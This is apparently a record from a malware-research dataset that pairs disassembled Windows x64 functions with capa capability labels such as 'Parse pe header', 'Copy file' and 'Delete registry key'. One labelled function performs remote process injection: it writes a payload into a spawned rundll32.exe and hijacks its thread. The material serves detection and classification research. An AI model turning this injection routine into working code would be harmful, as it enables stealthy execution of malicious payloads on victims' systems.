joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800039f4
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x180019204
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
lea r9, [0x180086468]
mov edi, ecx
lea rdx, str.FlsSetValue
mov ecx, 3
lea r8, [0x180086460]
call fcn.180018c7c
mov rdx, rbx
mov ecx, edi
test rax, rax
je 0x180019244
call qword [0x1800a9020]
jmp 0x18001924a
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x180003b7a
Capabilities:
Parse pe header

Disassembly:
jmp 0x18004b710
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x18004b4eb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18004b4eb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x18004b4eb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x18004b4eb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x18004b4eb
cmp dword [rcx + 0x84], 0xe
jbe 0x18004b4eb
cmp dword [rcx + 0xf8], 0
je 0x18004b4eb
mov ecx, ebx
call fcn.18004b654
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.18004b1c8
nop
cmp dword [rbp + 0x20], 0
je 0x18004b539
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.18004b574
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x18004b47c
Function at 0x180007160
Capabilities:
Allocate or change rwx memory
Create process on windows
Resume thread
Terminate process

Disassembly:
jmp 0x180007160
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0xde0
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x274
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xe08]
mov rax, qword [0x18009c008]
xor rax, rbp
mov qword [rbp + 0xd88], rax
lea rcx, [0x1800a8085]
call fcn.180003c51
mov eax, dword [rbp + 0xdb8]
mov dword [rbp + 0xd84], eax
cmp dword [rbp + 0xd84], 1
je 0x1800071cd
jmp 0x18000738d
lea rax, [rbp + 0x10]
lea rcx, [0x180081dc0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x37e
rep movsb byte [rdi], byte [rsi]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x37e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x3a8], rax
mov r8d, 0x37e
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x3a8]
call fcn.180002581
lea rax, [rbp + 0x4b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov qword [rbp + 0x998], 0
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x400]
call fcn.1800030df
mov dword [rbp + 0x400], 0x44
lea rax, [rbp + 0x3c8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x400]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.rundll32.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp + 0x9b4], eax
cmp dword [rbp + 0x9b4], 0
je 0x18000737c
mov dword [rbp + 0x4e0], 0x10003
lea rdx, [rbp + 0x4b0]
mov rcx, qword [rbp + 0x3d0]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x37e
xor edx, edx
mov rcx, qword [rbp + 0x3c8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x488], rax
lea rax, [rbp + 0x998]
mov qword [rsp + 0x20], rax
mov r9d, 0x37e
mov r8, qword [rbp + 0x3a8]
mov rdx, qword [rbp + 0x488]
mov rcx, qword [rbp + 0x3c8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [rbp + 0x488]
mov qword [rbp + 0x5a8], rax
lea rdx, [rbp + 0x4b0]
mov rcx, qword [rbp + 0x3d0]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 0x3d0]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rbp + 0x3d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x3c8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x9b4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 1
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x180081d60]
call fcn.180003468
mov eax, edi
mov rcx, qword [rbp + 0xd88]
xor rcx, rbp
call fcn.18000257c
lea rsp, [rbp + 0xd90]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140009e58
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rax, qword [0x140034010]
xor rax, rsp
mov qword [rbp + 0x180], rax
mov rbx, rdx
mov rcx, rdx
call qword [sym.imp.Cmmlib.dll_public:_bool___cdecl_Cmm::CStringT_wchar_t_::empty_void_const___ptr64]
test al, al
je 0x140009e98
mov eax, 1
jmp 0x140009f85
lea rcx, [rsp + 0x50]
call qword [sym.imp.Cmmlib.dll_public:_void___cdecl_Cmm::CStringT_wchar_t_::constructor_void____ptr64]
nop
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x20], 0xff
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x140009edf
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x50]
call qword [sym.imp.Cmmlib.dll_public:_class_Cmm::CStringT_wchar_t_____ptr64___cdecl_Cmm::CStringT_wchar_t_::operator_wchar_t_const____ptr64____ptr64]
lea rdx, str.Global_
lea rcx, [rsp + 0x28]
call qword [sym.imp.Cmmlib.dll_public:_void___cdecl_Cmm::CStringT_wchar_t_::constructor_wchar_t_const____ptr64____ptr64]
nop
lea rcx, [rsp + 0x50]
call qword [sym.imp.Cmmlib.dll_public:_int___cdecl_Cmm::CStringT_wchar_t_::IsEmpty_void_const___ptr64]
test eax, eax
jne 0x140009f23
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x28]
call qword [sym.imp.Cmmlib.dll_public:_class_Cmm::CStringT_wchar_t_____ptr64___cdecl_Cmm::CStringT_wchar_t_::operator_class_Cmm::CStringT_wchar_t__const____ptr64____ptr64]
lea rdx, [0x1400240d8]
lea rcx, [rsp + 0x28]
call qword [reloc.Cmmlib.dll___Y__CStringT__W_Cmm__QEAAAEAV01_PEB_W_Z]
mov rdx, rbx
lea rcx, [rsp + 0x28]
call qword [sym.imp.Cmmlib.dll_public:_class_Cmm::CStringT_wchar_t_____ptr64___cdecl_Cmm::CStringT_wchar_t_::operator_class_Cmm::CStringT_wchar_t__const____ptr64____ptr64]
lea rcx, [rsp + 0x28]
call qword [sym.imp.Cmmlib.dll_public:_wchar_t_const____ptr64___cdecl_Cmm::CStringT_wchar_t_::c_str_void_const___ptr64]
mov r9, rax
mov ebx, 1
mov r8d, ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x140039620], rax
test rax, rax
je 0x140009f6a
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140009f6c
xor ebx, ebx
lea rcx, [rsp + 0x28]
call qword [sym.imp.Cmmlib.dll_public_virtual:_void___cdecl_Cmm::CStringT_wchar_t_::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x50]
call qword [sym.imp.Cmmlib.dll_public_virtual:_void___cdecl_Cmm::CStringT_wchar_t_::destructor_void____ptr64]
mov eax, ebx
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.14001e5b0
mov rbx, qword [rsp + 0x2a0]
add rsp, 0x290
pop rbp
ret
Function at 0x14000a010
Capabilities:
Enumerate gui resources
Enumerate processes

Disassembly:
push rbx
sub rsp, 0x270
mov rax, qword [0x140034010]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov dword [rsp + 0x20], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000a0a5
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x14000a098
lea rdx, str.zTscoder.exe
lea rcx, [rsp + 0x4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x14000a08a
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x28], eax
je 0x14000a08a
mov edx, dword [rsp + 0x28]
lea rcx, [0x140009fb0]
call qword [sym.imp.USER32.dll_EnumWindows]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000a057
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14001e5b0
add rsp, 0x270
pop rbx
ret
Function at 0x14000f058
Capabilities:
Read .ini file

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x140034010]
xor rax, rsp
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x20]
call qword [sym.imp.Cmmlib.dll_public:_void___cdecl_Cmm::CFileName::constructor_void____ptr64]
nop
mov edx, 5
lea r8d, [rdx - 4]
lea rcx, [rsp + 0x20]
call qword [sym.imp.Cmmlib.dll_public:_void___cdecl_Cmm::CFileName::GetSpecialDirectory_enum_Cmm::CFileName::SpecialFolder__int____ptr64]
lea rdx, [0x140024878]
lea rcx, [rsp + 0x20]
call qword [reloc.Cmmlib.dll___Y__CStringT__W_Cmm__QEAAAEAV01_PEB_W_Z]
lea rdx, str.transcoding.ini
lea rcx, [rsp + 0x20]
call qword [reloc.Cmmlib.dll___Y__CStringT__W_Cmm__QEAAAEAV01_PEB_W_Z]
lea rcx, [rsp + 0x20]
call qword [sym.imp.Cmmlib.dll_public:_wchar_t_const____ptr64___cdecl_Cmm::CStringT_wchar_t_::c_str_void_const___ptr64]
mov r9, rax
xor r8d, r8d
lea rdx, str.SaveAllTempRecordFiles
lea rcx, [0x140024d18]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
xor ebx, ebx
cmp eax, 1
sete bl
lea rcx, [rsp + 0x20]
call qword [sym.imp.Cmmlib.dll_public_virtual:_void___cdecl_Cmm::CFileName::destructor_void____ptr64]
mov eax, ebx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14001e5b0
add rsp, 0x50
pop rbx
ret

Function at 0x1400120f8
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rdi, qword [rcx + 0x10]
mov rsi, rdx
mov rbx, rcx
test rdi, rdi
je 0x14001218e
cmp qword [rdi], 0
mov rbx, qword [rcx]
je 0x140012168
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140012187
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140012187
mov rdx, qword [rdi]
xor r9d, r9d
and qword [rsp + 0x28], 0
xor r8d, r8d
mov qword [rsp + 0x20], rdx
mov rcx, rbx
mov rdx, rsi
call qword [0x140022f18]
jmp 0x140012177
cmp dword [rdi + 8], 0
je 0x140012187
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov eax, 1
jmp 0x140012177
cmp byte [0x1400396a8], 0
jne 0x1400121d9
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400121c5
lea rdx, str.RegDeleteKeyExW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r10, rax
mov qword [0x1400396a0], rax
jmp 0x1400121cc
mov r10, qword [0x1400396a0]
mov eax, 1
mov byte [0x1400396a8], al
jmp 0x1400121e0
mov r10, qword [0x1400396a0]
mov rcx, qword [rbx]
mov rdx, rsi
test r10, r10
je 0x140012171
mov r8d, dword [rbx + 8]
xor r9d, r9d
mov rax, r10
call qword [0x140022f18]
jmp 0x140012177
Function at 0x140012818
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rsi
push rdi
push r14
push r15
sub rsp, 0x480
mov rax, qword [0x140034010]
xor rax, rsp
mov qword [rsp + 0x470], rax
mov r15, r9
mov r14, r8
mov rbx, rdx
xor edi, edi
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x60], rdi
xor edx, edx
lea r8d, [rdi + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rsi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x14001289c
xor edx, edx
lea r8d, [rdi + 2]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rsi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x14001289c
call fcn.140011ee8
mov ebx, eax
jmp 0x1400129a7
mov r8, r15
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x1400128bd
call fcn.140011ee8
jmp 0x140012996
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r14, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1400128b3
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov dword [rsp + 0x30], eax
inc eax
cmp eax, ebx
jae 0x1400128f8
mov ebx, 0x8007000e
jmp 0x140012998
mov ecx, eax
test eax, eax
je 0x14001292a
xor edx, edx
or rax, 0xffffffffffffffff
div rcx
cmp rax, 2
jb 0x1400129df
lea rdx, [rcx + rcx]
cmp rdx, 0x400
jbe 0x14001292a
lea rcx, [rsp + 0x60]
call fcn.140017414
jmp 0x140012934
lea rax, [rsp + 0x68]
mov qword [rsp + 0x60], rax
jmp 0x140012946
cmp qword [rsp + 0x60], rdi
je 0x1400128ee
mov dword [rsp + 0x28], ebx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, ebx
mov r8, r14
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x1400128b3
mov ecx, eax
mov rax, qword [rsp + 0x60]
mov word [rax + rcx*2], di
mov r8d, dword [rsp + 0x4d0]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x48]
call fcn.140013674
mov ebx, eax
test rsi, rsi
je 0x1400129a7
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
lea rax, [rsp + 0x68]
cmp qword [rsp + 0x60], rax
je 0x1400129be
lea rcx, [rsp + 0x60]
call fcn.140017408
nop
mov eax, ebx
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.14001e5b0
add rsp, 0x480
pop r15
pop r14
pop rdi
pop rsi
pop rbx
ret
mov ecx, 0x80070216
call fcn.140011e3c
int3
Function at 0x140014c5c
Capabilities:
Create directory

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x140034010]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov rbx, rcx
lea rcx, [rsp + 0x48]
call qword [sym.imp.Cmmlib.dll_public:_void___cdecl_Cmm::CFileName::constructor_void____ptr64]
nop
mov edx, 6
lea r8d, [rdx - 5]
lea rcx, [rsp + 0x48]
call qword [sym.imp.Cmmlib.dll_public:_void___cdecl_Cmm::CFileName::GetSpecialDirectory_enum_Cmm::CFileName::SpecialFolder__int____ptr64]
lea rcx, [rsp + 0x48]
call qword [sym.imp.Cmmlib.dll_public:_wchar_t_const____ptr64___cdecl_Cmm::CStringT_wchar_t_::c_str_void_const___ptr64]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.Cmmlib.dll_public:_class_Cmm::CStringT_wchar_t_____ptr64___cdecl_Cmm::CStringT_wchar_t_::operator_wchar_t_const____ptr64____ptr64]
lea rdx, [0x140024878]
mov rcx, rbx
call qword [reloc.Cmmlib.dll___Y__CStringT__W_Cmm__QEAAAEAV01_PEB_W_Z]
lea rdx, [0x1400252e8]
mov rcx, rbx
call qword [reloc.Cmmlib.dll___Y__CStringT__W_Cmm__QEAAAEAV01_PEB_W_Z]
lea rdx, [0x140024878]
mov rcx, rbx
call qword [reloc.Cmmlib.dll___Y__CStringT__W_Cmm__QEAAAEAV01_PEB_W_Z]
mov rcx, rbx
call qword [sym.imp.Cmmlib.dll_public:_wchar_t_const____ptr64___cdecl_Cmm::CStringT_wchar_t_::c_str_void_const___ptr64]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rsp + 0x20]
call qword [sym.imp.Cmmlib.dll_public:_void___cdecl_Cmm::CStringT_wchar_t_::constructor_void____ptr64]
nop
lea rcx, [rsp + 0x20]
call fcn.1400148b0
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.Cmmlib.dll_public:_class_Cmm::CStringT_wchar_t_____ptr64___cdecl_Cmm::CStringT_wchar_t_::operator_class_Cmm::CStringT_wchar_t__const____ptr64____ptr64]
nop
lea rcx, [rsp + 0x20]
call qword [sym.imp.Cmmlib.dll_public_virtual:_void___cdecl_Cmm::CStringT_wchar_t_::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x48]
call qword [sym.imp.Cmmlib.dll_public_virtual:_void___cdecl_Cmm::CFileName::destructor_void____ptr64]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14001e5b0
add rsp, 0x80
pop rbx
ret
Function at 0x1400158ac
Capabilities:
Copy file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
mov rax, qword [0x140034010]
xor rax, rsp
mov qword [rbp + 0x390], rax
mov rsi, rdx
mov rdi, rcx
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rdx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rax
mov ebx, 0x208
mov r8d, ebx
xor edx, edx
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x180]
call sub.VCRUNTIME140.dll_memset
mov rcx, rdi
call qword [sym.imp.Cmmlib.dll_public:_wchar_t_const____ptr64___cdecl_Cmm::CStringT_wchar_t_::c_str_void_const___ptr64]
mov rdx, rax
mov ebx, 0x104
mov r8d, ebx
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcpynW]
mov rcx, rsi
call qword [sym.imp.Cmmlib.dll_public:_wchar_t_const____ptr64___cdecl_Cmm::CStringT_wchar_t_::c_str_void_const___ptr64]
mov rdx, rax
mov r8d, ebx
lea rcx, [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_lstrcpynW]
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 2
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x180]
mov qword [rsp + 0x38], rax
mov eax, 0x210
mov word [rsp + 0x40], ax
lea rcx, [rsp + 0x20]
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.Cmmlib.dll_public_virtual:_void___cdecl_Cmm::CStringT_wchar_t_::destructor_void____ptr64]
nop
mov rcx, rsi
call qword [sym.imp.Cmmlib.dll_public_virtual:_void___cdecl_Cmm::CStringT_wchar_t_::destructor_void____ptr64]
mov eax, ebx
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.14001e5b0
mov rbx, qword [rsp + 0x4d0]
add rsp, 0x4a0
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400194b0
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov eax, 0x4e70
call fcn.14001fac0
sub rsp, rax
mov rax, qword [0x140034010]
xor rax, rsp
mov qword [rsp + 0x4e60], rax
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x3e80
call sub.VCRUNTIME140.dll_memset
xor ebx, ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r9, [rsp + 0x20]
mov r8d, 0x3e80
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
je 0x1400195c6
lea rax, [rsp + 0x3ec0]
mov dword [rsp + 0x2c], ebx
mov qword [rsp + 0x30], rax
mov edi, 0xfa0
mov eax, dword [rsp + 0x20]
mov word [rsp + 0x2a], di
test rax, 0xfffffffffffffff8
jbe 0x1400195bf
nop
mov r8, rdi
lea rcx, [rsp + 0x3ec0]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + rbx*8 + 0x40]
lea rdx, [rsp + 0x3ec0]
mov r8d, 0x7cf
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x3ec0]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140019580
mov r8, qword [rsp + rbx*8 + 0x40]
lea rdx, [rsp + 0x28]
add ax, ax
lea rcx, [0x140034250]
xor r9d, r9d
mov word [rsp + 0x28], ax
call fcn.1400195f0
test eax, eax
je 0x1400195c6
mov eax, dword [rsp + 0x20]
inc rbx
shr rax, 3
cmp rbx, rax
jb 0x140019540
mov eax, 1
jmp 0x1400195c8
xor eax, eax
mov rcx, qword [rsp + 0x4e60]
xor rcx, rsp
call fcn.14001e5b0
mov rbx, qword [rsp + 0x4e80]
add rsp, 0x4e70
pop rdi
ret
Function at 0x14001a140
Capabilities:
Parse pe header

Disassembly:
test rcx, rcx
je 0x14001a39c
push rdi
sub rsp, 0x90
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rax
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x18
lea r8, [rsp + 0x30]
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.PSAPI.DLL_GetModuleInformation]
test eax, eax
je 0x14001a394
mov eax, 0x5a4d
mov qword [rsp + 0x80], r15
mov r15d, dword [rsp + 0x38]
cmp word [rdi], ax
jne 0x14001a38c
movsxd rcx, dword [rdi + 0x3c]
lea rax, [rcx + 0x108]
cmp rax, r15
jae 0x14001a38c
cmp dword [rcx + rdi], 0x4550
mov qword [rsp + 0xb0], rbp
lea rbp, [rcx + rdi]
jne 0x14001a384
movzx eax, word [rbp + 4]
mov ecx, 0x14c
mov qword [rsp + 0xb8], rsi
xor esi, esi
mov qword [rsp + 0x88], r14
cmp cx, ax
jne 0x14001a1f5
xor r14d, r14d
jmp 0x14001a227
mov ecx, 0x200
mov r8d, 0xaa64
cmp cx, ax
je 0x14001a219
mov ecx, 0x8664
cmp cx, ax
je 0x14001a219
cmp r8w, ax
jne 0x14001a374
cmp r8w, ax
mov r14d, 1
sete sil
mov qword [rsp + 0xa8], rbx
mov ebx, dword [rbp + 0x28]
add rbx, rdi
je 0x14001a36c
cmp rbx, rdi
jbe 0x14001a36c
lea rax, [r15 + rdi]
cmp rbx, rax
jae 0x14001a36c
xorps xmm0, xmm0
lea rdx, [rsp + 0x48]
mov r8d, 0x30
mov rcx, rbx
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x58], xmm0
movups xmmword [rsp + 0x68], xmm0
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14001a36c
test dword [rsp + 0x68], 0x1000
je 0x14001a36c
test dword [rsp + 0x70], 0x1000000
je 0x14001a36c
mov eax, dword [rsp + 0x6c]
xor ecx, ecx
test al, 0x10
jne 0x14001a2b2
test al, 0x20
jne 0x14001a2b2
test al, 0x40
jne 0x14001a2b2
test al, al
jns 0x14001a2b7
mov ecx, 1
test ecx, ecx
je 0x14001a36c
mov r9d, r14d
mov dword [rsp + 0x20], esi
mov r8d, r15d
mov rdx, rdi
mov rcx, rbp
call fcn.14001ab20
mov edx, 0x14
mov dword [rsp + 0xa0], 0
lea r9, [rsp + 0xa0]
mov rcx, rbx
lea r8d, [rdx + 0x2c]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14001a36c
test r14d, r14d
jne 0x14001a316
mov eax, dword [0x140034060]
mov dword [rbx], eax
movzx eax, byte [0x140034064]
mov byte [rbx + 4], al
jmp 0x14001a33a
test esi, esi
je 0x14001a326
mov rax, qword [0x140034058]
mov qword [rbx], rax
jmp 0x14001a33a
movzx eax, word [0x140034054]
mov word [rbx], ax
movzx eax, byte [0x140034056]
mov byte [rbx + 2], al
mov r8d, dword [rsp + 0xa0]
lea r9, [rsp + 0xa0]
mov edx, 0x14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rbx, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xb8]
mov r14, qword [rsp + 0x88]
mov rbp, qword [rsp + 0xb0]
mov r15, qword [rsp + 0x80]
add rsp, 0x90
pop rdi
ret
Function at 0x14001ce00
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
lea eax, [rcx - 1]
xor esi, esi
mov rbx, rdx
mov edi, ecx
test eax, 0xfffffff7
jne 0x14001cf11
test rdx, rdx
je 0x14001cf11
mov r8, rdx
movzx eax, word [r8]
add r8, 2
test ax, ax
jne 0x14001ce30
sub r8, rbx
lea rdx, str.http:
sar r8, 1
mov rcx, rdx
dec r8
movzx eax, word [rcx]
add rcx, 2
test ax, ax
jne 0x14001ce50
sub rcx, rdx
sar rcx, 1
lea rax, [rcx - 1]
cmp r8, rax
jb 0x14001ce9e
mov rcx, rdx
nop
movzx eax, word [rcx]
add rcx, 2
test ax, ax
jne 0x14001ce70
sub rcx, rdx
sar rcx, 1
lea r8, [rcx - 1]
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpNIW]
test eax, eax
mov ecx, esi
sete cl
test ecx, ecx
jne 0x14001d03c
mov rcx, rbx
movzx eax, word [rcx]
add rcx, 2
test ax, ax
jne 0x14001cea1
sub rcx, rbx
lea r9, str.https:
sar rcx, 1
lea rdx, [rcx - 1]
mov rcx, r9
movzx eax, word [rcx]
add rcx, 2
test ax, ax
jne 0x14001cec1
sub rcx, r9
sar rcx, 1
lea rax, [rcx - 1]
cmp rdx, rax
jb 0x14001cf11
mov rcx, r9
nop
movzx eax, word [rcx]
add rcx, 2
test ax, ax
jne 0x14001cee0
sub rcx, r9
mov rdx, r9
sar rcx, 1
lea r8, [rcx - 1]
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpNIW]
test eax, eax
mov ecx, esi
sete cl
test ecx, ecx
jne 0x14001d03c
cmp edi, 3
jne 0x14001cf54
test rbx, rbx
je 0x14001cf42
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathIsRelativeW]
test eax, eax
jne 0x14001d03c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14001cf42
test al, 0x10
je 0x14001d03c
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
cmp edi, 2
